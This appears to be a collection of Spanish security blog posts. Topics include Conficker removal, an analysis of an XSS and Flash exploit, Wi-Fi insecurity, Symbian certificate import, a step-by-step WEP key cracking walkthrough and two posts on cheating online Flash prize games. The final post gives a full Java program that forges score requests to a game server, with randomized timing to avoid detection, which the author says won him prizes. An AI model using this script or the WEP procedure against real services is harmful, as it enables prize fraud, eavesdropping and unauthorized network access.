Virus Conficker o Downadup, una vacuna y cómo eliminarlo

Recientemente Microsoft publico un boletín de seguridad (MS08-67) en el que se pone de manifiesto un agujero de seguridad crítico en los sistemas Windows, que permite la ejecución remota de código. Casi de forma paralela aparece el gusano Conficker, un virus capaz de explotar esa vulnerabilidad y atacar redes enteras descargándose a si mismo desde ordenadores infectados.

El día que detectamos el virus por primera vez, ningún motor antivirus era capaz de detectarlo y por tanto su alta capacidad de propagación e infección hizo que esos primeros días el virus se distribuyera de manera imparable por multitud de ordenadores de redes enteras de empresas y organizaciones.

Entre otras operaciones, el virus se copia como dll en el directorio del sistema (Windowssystem32) y coloca una clave en el registro para lanzarse al inicio de windows como servicio.

Si el virus está en ejecución es complicado eliminarlo y también que un antivirus lo detecte, por tanto para librarnos de él deberíamos seguir los siguientes pasos:

1) Actualizar nuestro sistema instalando el parche contra la vulnerabilidad (el parche se puede descargar aquí)

2) Reiniciar el equipo en modo prueba de errores

3) Escanear y eliminar el virus con un antivirus actualizado, o usar la vacuna que he preparado para eliminarlo.

4) Arrancar el equipo de modo normal y pasar de nuevo un antivirus, (En este caso, puede ser un antivirus online )

La vacuna tiene un comportamiento simple pero eficaz, al ejecutarla detecta la dll del virus en el directorio del sistema y la elimina si la encuentra. La detección se basa en firmas, por tanto sólo es válida para la versión de conficker que yo he analizado. Al ejecutarla genera un archivo de registro en c:cfpatch.log donde nos indica si ha encontrado el virus o no. Para que funcione debemos usarla en modo a prueba de fallos.

Puedes descargar la vacuna. No hace falta decir que el uso de esta vacuna es completamente bajo tu responsabilidad.

Vacuna para Conficker / Downadup

Cross site scripting + Flash Exploit

Durante la tarde del pasado domingo, buscando diversa información por Internet, llegué a la página web de la Cámara de Comercio de Navarra, y pude observar como la mencionada web estaba “infectada” o mejor dicho había sufrido un intento de infección, ya que el atacante no consiguió su objetivo completamente. Este hecho me va a servir para ilustrar un par de técnicas maliciosas muy de moda hoy en día: Cross Site Scripting y Flash Exploiting.

No me centraré en describir cómo el atacante llego a introducir código html en el contenido de la web (supongo que con alguna técnica simple de SQLInjection o similar a través de un formulario inseguro), lo que está claro es que explotó un agujero de seguridad de la web de la cámara para colar código html en la misma:

Camara 1

En concreto consiguió introducir código en la zona de enlaces de la página, en la imagen anterior se ve en la barra de estado del explorador un código<script>…

Camara 2

El atacante no formó bien el código del ataque ya que no aparecía correctamente colocado como para que lo navegadores lo interpretaran de manera adecuada, pero aun así analicemos lo que se esconde detrás del script incluido; para eso lo descargamos de forma segura con wget:
Camara 3

En la descarga obtenemos varios ficheros, unos javascript y otros swf (fichero flash), que una vez enviado a virustotal para su análisis nos indica de que se trata de un exploit, que aprovecha un fallo de seguridada en Flash:

Camara 4

Únicamente tres de más de 20 motores antivirus fueron capaces de detectarlo y en concreto este exploit descarga una serie de ejecutables que instala en el ordenador a modo de troyanos.

El resto del código realiza diversas conexiones con lectura de coockies incluida, algo que desvela cualquier información confidencial de los usuarios con respecto a la web de la Cámara de Comercio, al establecer un ataque de tipo Cross Site Scripting: el código ejecutado lo envía la web de la Cámara por tanto es valido para los coockies de la Cámara.

camara 5

Hagamos una breve lectura de todo lo anterior:

1) Objetivo del ataque: un lugar con usuarios susceptibles de manejar información potencialmente importante: empresarios, gestores, ejecutivos…

2) Contenido del ataque: un troyano, un programa que se instala en tu ordenador para espiar y captar información: claves, cuentas, correos….

Conclusión: de haber conseguido su objetivo, el atacante hubiese creado problemas a algún que otro visitante de la web de la Cámara.

Por otro lado acabo de ver que los administradores de la web ya han limpiado el código inyectado.

Seguridad Wifi, portátiles en el aeropuerto, en el hotel…

Ayer tuve la ocasión de observar un completísimo listado de documentos word compartidos dentro de una carpeta de nombre “Contratos” mientras esperaba la salida de mi avión en el aeropuerto de Barajas. Y justo la noche anterior en la habitación de mi hotel tuve acceso (sin necesidad de hackear, destripar weps ni nada de eso) a la configuración de los puntos de acceso inalámbricos que daban servicio a las personas alojadas en el Hotel.

Punto de acceso Hotel

Wifi en el hotel 2

Wifi hotel 3

Señores, lo de las Wifi es de verguenza. Es un escándalo. Una cosa es que alguien monte una Wifi, le ponga una clave Wep, que es el mecanismo que proporciona el estandar para “securizar” la wifi, y que por mala construcción tecnológica dicha clave pueda ser obtenida por mecanismos que dominan un sobconjunto de la población con conocimientos tecnológicos ligeramente “avanzados”. Pero lo que ya no es de recibo es que cafeterías y churrerías diversas ofrezcan servicios Wifi, sin cifrar, sin clave alguna a los que los incautos viandantes se conectan (que ni siquiera les proporcionan salida a internet) dejando al descubierto sus más preciados documentos bajo nombres como “contratos”, “documentos C”, “importante” o similar.

Existe una ignorancia social inmensa en materia de seguridad; y esto es algo que parece que no preocupa a nadie…

Importar certificado raiz CER en symbian / nokia

En los dispositivos symbian de nokia podemos incorporar nuestros propios certificados raiz de usuario. ¿Para qué es útil esto? Cuando queremos desplegar servidores seguros https, o aplicaciones web que utilizan servidores seguros (como por ejemplo ActiveSync Exchange) , o redes privadas virtuales VPN que nosotros mismos hemos desplegado con nuestra propia PKI; necesitamos hacer ver a los dispositivos implicados que somos quienes decimos que somos y eso se hace con el certificado raiz, o de la autoridad de certificación. Normalmente es Verisign o alguna similar quien cobrando establece la confianza, pero como he dicho, hay muchas personas y compañias que despliegan sus propias autoridades de certificación.

Bien, dentro de los teléfonos móviles nokia, como he dicho, podemos incorporar nuestras autoridades de certificación personales. Hasta la fecha, con dispositivos Symbian S60, como el 6600 y el N70, no había tenido ningún problema. El caso es que con mi nuevo teléfono Symbian S60 3rd, feature pack1.. (jeje) no reconoce los ficheros de certificado y se niega a importarlos. Hasta ahora bastaba con un fichero .cer en formato binario x.509, pero ahora eso no funciona.

Me he vuelto loco y parece que es un fallo del sistema pero tiene “truco” o solución.

Para poder instalarlos, lo tenemos que hacer a través del navegador, conectándonos a un servidor en el que hayamos alojado el fichero y descargándolo, pero con eso sólo no vale. Además el servidor le debe decir al dispositivo Symbian que el fichero que se está descargando es un certificado, en el idioma que symbian entiende: “application/x-x509-ca-cert”. Por tanto la configuración mime-type debe ser esa para los ficheros con extensión .cer.

Si no queréis volveros locos, o no tenéis un servidor… alguien nos puede ayudar:
http://www.redelijkheid.com/symcaimport/index.cfm

Suerte!

Wifi hacking con el eee pc de Asus

Las redes Wifi no son seguras. No me cansaré nunca de repetirlo y día a día tengo que explicarlo varias veces.

Son muchos quienes ya lo saben, pero todavía hay gente que no se lo quiere creer. Aprovechando mi nuevo juguete he querido preparar este post a modo de demostración, para ilustrar con un ejemplo como se destripa una clave WEP en apenas 15 minutos.

Otra de las agradables sorpresas del fantástico Asus eeepc (el nuevo juguete del que os hablo), es que incorpora una tarjeta wifi con el chipset de atheros. Lo bueno de esto es que que la última versión del commview for wifi, integra un driver para este chip que es capaz de poner a la tarjeta wifi en modo monitor, algo fundamental si queremos proceder a hackear una wifi.

El procedimiento para destripar una wifi es bastante sencillo: se basa en capturar un número suficiente de paquetes de datos, y a dichos paquetes pasarles un crackeador WEP.

Para capturar los paquetes, es necesario que exista tráfico de red (para mi ejemplo tuve que capturar 30Mb, pero este número puede ser mayor si la clave es de 128bits en lugar de 64). Si no existe ese tráfico, podemos generarlo mediante diversas técnicas de packet injection.
Para hacer todo lo anterior disponemos de diversas herramientas para diversos sistemas, como aircrack, commview … Yo usaré el tandem commview + cain.

Una vez puesta la tarjeta en modo monitor (instalando el driver correspondiente del commview), solo tenemos que escuchar un montoncito considerable de paquetes wifi para posteriormente aprovecharnos de las debilidades del cifrado wep y poder obtener la clave de la red escuchada.

Captura WEP

Commview tiene su propio formato de paquetes, por lo que si queremos utilizar CAIN debemos exportarlos como paquetes tcpdump .cap. Estos paquetes los importamos al crackeador de CAIN y empezamos a buscar la clave, que en escasos minutos aparece:

Clave WEP

Con la clave, ya podemos por un lado monitorizar todo el tráfico descifrado (es decir, espiar todas las comunicaciones de esa red) o símplemente gorronear ancho de banda si es una red con acceso a Internet.

Flash HTTP Interception (II)

Expongamos otro caso práctico (y actual) de lo que comentaba en el post anterior “automatizar jugadas (Flash HTTP interception)”.

En ese post daba unas pequeñas pistas, incluyendo código, de cómo se puede ganar en los famosos sitios de juegos online. La verdad es que ganar haciendo trampas no tiene ninguna gracia, bueno, la tiene cuando el ganador recibe a cambio algún tipo de regalo.

Os refresco la técnica:

  1. Observar el comportamiento del sitio cuando ganas y cuando pierdes capturando el tráfico HTTP
  2. Replicar ocasiones de éxito

Para el punto primero (observación) os comenté que hace años yo usaba un sencillo proxy capturador y hacía pasar las peticiones por el mismo para observarlas. Han pasado los años y ahora tenemos un compañero de viaje que nos facilita mucho todas estas tareas: Firefox. Personalmente uso dos extensiones de Firefox que para este mundillo son imprescindibles: WebDeveloper y mi último descubrimiento, Live Http Headers – imprescindible!!! te muestra todas las peticiones HTTP y te deja incluso repetirlas (cada día nos lo ponen más fácil)

He estado realizando un par de búsquedas en google y me han aparecido bastantes sitios con juegos flash y premios para los ganadores y ni corto ni perezoso he analizado uno de ellos. Los juegecitos en cuestión del sitio que he analizado tienen esta pinta:

clipboard02.jpg

Y analizando todo el tráfico http cada vez que se juega, se llega a la conclusión que el paso de esa información (ganar o perder) se realiza mediante un mecanismo bastante simple: el código actionScript del flash solicita una imagen al servidor junto con unos coockies que se repiten siempre e identifican una especie de secuencia temporal diferente para cada partida:

———————————————————-
http://xxxxxxxxxxx/images-es/tickettoudou/i-1.png

GET /images-es/tickettoudou/i-1.png HTTP/1.1
Host: es.xxxxxxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: COOKIEredirectLangOk=ok; COOKIEis_accepted=1; __utma=192013163.1220524688.1190971015.1190971015.1190971015.1;__utmb=192013163; __utmc=192013163; __utmz=192013163.1190971015.1.1.utmccn=(organic)|utmcsr=xxxxxx|utmctr=xxxxxx|utmcmd=organic;

———————————————————-

clipboard01.jpg

Con esta información y símplemente utilizando la funcionalidad del propio Live Http Headers de reenviar una petición, podemos replicar una jugada exitosa anterior, pasándole los mismos coockies, etc:

clipboard04.jpg

La imagen muestra que hemos ganado esos miserables 0,02 puntos y además, replicando el comportamiento varias veces, llega un momento en el que los puntos ya no suman (una partida tiene un máximo de intentos) por lo que habrá que volver a generar esos coockies que indican la temporalidad de la jugada.

Por tanto, la solución “óptima” para ganar del modo más rápido consistiría en estudiar exactamente cuál es el número máximo de jugadas e implementar un programa que reinicie las partidas solicitando la información de coockies necesaria para cada vuelta.

En fin, símplemente quería exponer que desde mi última aventura Flash HTTP Interception hasta hoy, las cosas siguen igual… vamos que se puede hacer trampas de modo muuuuyyy sencillo.

Automatizar jugadas (Flash HTTP interception)

Ahora que está tan de moda el “mundo injection” (XSS, SQLIn…, que digo yo, siendo la solución tan simple no sé por que coño se le está dando tanta vuelta) quiero exponer un pequeño caso de intercepción http (captura de tráfico, análisis y automatización de peticiones) que no es injection, pero su filosofía es la misma.
El origen del problema: Flash, Macromierda Flash, diseñadores haciéndose pasar por programadores. Hace 6 años existía un portal de nombre loquesea.es. Era el típico portal de juegos flash, en el que te llevabas regalos si quedabas primero. Los juegos, al igual que los de hoy en día estaban desarrollados en Flash, incorporando la lógica de la aplicación y comunicándose con el servidor mediante peticiones http para trasladarle los resultados de las partidas. Esto también pasa hoy en día así que lo que cuento es aplicable a bastantes webs de juegos Flash.

En primer lugar hemos de conseguir ver cómo se comunica la aplicación flash con el servidor, y para ello, nada más sencillo que instalarnos un mini proxy capturador de tráfico en nuestro propio equipo, de forma que las peticiones http de nuestro navegador (incluidas las del flash, etc) pasan por el proxy y nos desvela su contenido. Hay varios en internet, y si no nos lo hacemos, que tampoco cuesta tanto. (también podríamos utilizar ethereal con un filtro “port 80” pero esto me gusta menos, ya que da demasiada información y solo nos interesa la capa de aplicación)

Una vez hecho esto, simulamos unas cuantas partidas y vemos todo lo que pasa cuando ganamos y cuando perdemos. Seguramente algo se envíe codificado, pero también casi seguro que será una codificación simple y fácilmente reversible, por el mero hecho de que el servidor debe interpretarla y por tanto decodificarla, y el uso de criptografía asimétrica me parece un poco heavy para un diseñador con curso CCC de programación.

Debemos detectar toda la comunicación, en el caso de loquesea.es, se hacía una primera petición para obtener un número aleatorio que se utilizaba posteriormente en todas las comunicaciones.

Solo nos queda replicar lo que hemos visto, pero favoreciendo nuestras jugadas. En mi caso utilicé un temporizador para simular tiempos reales de juego, con partidas aleatorias pero de gran tendencia ganadora. Eso evita sospechas, y se puede dejar por la noche, así pareces un “viciado” aunque realmente no estás jugando y ganas siempre.

El código en cuestión que me permitió conseguir mis regalos es:


001 /*
002 * Apu.java
003 *
004 * Created on 13 de junio de 2001, 16:35
005 */
006 import java.net.*;
007 import java.io.*;
008 /**
009 *
010 * @author GuemboyMan
011 *
012 */
013 public class Apu extends Thread{
014
015 private static int totalPtos=0;
016
017 public static void main (String[] args ) throws Exception{
018 String s;
019 int c;
020 Socket sock;
021 DataOutputStream sOut;
022 DataInputStream sIn;
023 int i,sec,userId=000000; //userId
024 String host="es.loquesea.com";
025 String rnd;
026 //Bucle principal.
027 for(i=0;i<1000;i++){
028 //delay
029 System.out.println("-------> PARTIDA JUGADA: "+i);
030 try {
031 sleep((int)((Math.random()+1) * 4000));
032 }
033 catch (InterruptedException e) {}
034 //abrir conexión
035 try {
036 // Conectar inicializando el random.
037 s=strIni(userId);
038 s=setHeader(s);
039 sock = new Socket(host, 80);
040 sOut = new DataOutputStream(sock.getOutputStream());
041 sOut.writeBytes(s);
042
043 // leemos esa entrada
044 sIn = new DataInputStream(sock.getInputStream());
045 //Conseguir el random
046 rnd="";
047 boolean detect=false;
048 while( ( c = sIn.read() ) != -1 ){
049 System.out.print( (char)c );
050 if (detect&&((char)c)!='"')rnd=rnd+(char)c;
051 if(((char)c)=='"')if(detect) detect=false;
052 else detect=true;
053 }
054 sOut.close();
055 sIn.close();
056 sock.close();
057 System.out.println("Número aleatorio: "+rnd);
058 /* Parte del programa que se dedica a conseguir
059 * puntos... altenando perdidasy ganancias...
060 */
061 s=strPuntos(userId,i,rnd);
062 s=setHeader(s);
063 sock = new Socket(host, 80);
064 sOut = new DataOutputStream(sock.getOutputStream());
065 sOut.writeBytes(s);
066 sOut.close();
067 sock.close();
068 } catch( Exception e ) {System.out.println( e ); }
069 }
070 System.out.println("------- FIN PARTIDAS");
071 }
072
073
074 private static String codificar(String s){
075 String s1="";
076 int i=0;
077 for(int k=0;k<s.length();k++){
078 i+=s.charAt(k);
079 s1=s1+Integer.toString(s.charAt(k),16);
080 }
081 return s1+"_"+i;
082 }
083
084 private static String strIni(int uid){
085 String s;
086 s="game_init=1&user_id=" + uid +"&game_id=5"; //esto devuelve el random
087 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
088 }
089
090 /* string con la cadena de puntos, depende de i
091 * ganara 2000, 3000, o perdera 1000. se simula juego real con tendencia a ganar
092 */
093 private static String strPuntos(int uid,int i,String rnd){
094 int points=2000;
095 int j=i*(int)((Math.random()*10));
096 if(((j % 11)==0)||((j % 7)==0)||(j % 5)==0)points=-1000;
097 if((j % 9)==0)points=3000;
098 totalPtos=totalPtos+points;
099 String s="new_points="+points;
100 s=s+"&user_id="+uid;
101 s=s+"&new_hs=1000&game_id=5&random_number="+rnd;
102 s=s+"&end_level=1";
103 System.out.println("Puntos obtenidos: "+points+" TOTAL: "+totalPtos);
104 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
105 }
106
107 private static String setHeader(String s){
108 String header="Accept-Language: es-MDn";
109 header=header+"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2n";
110 header=header+"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Win32)n";
111 return s+header;
112 }
113 }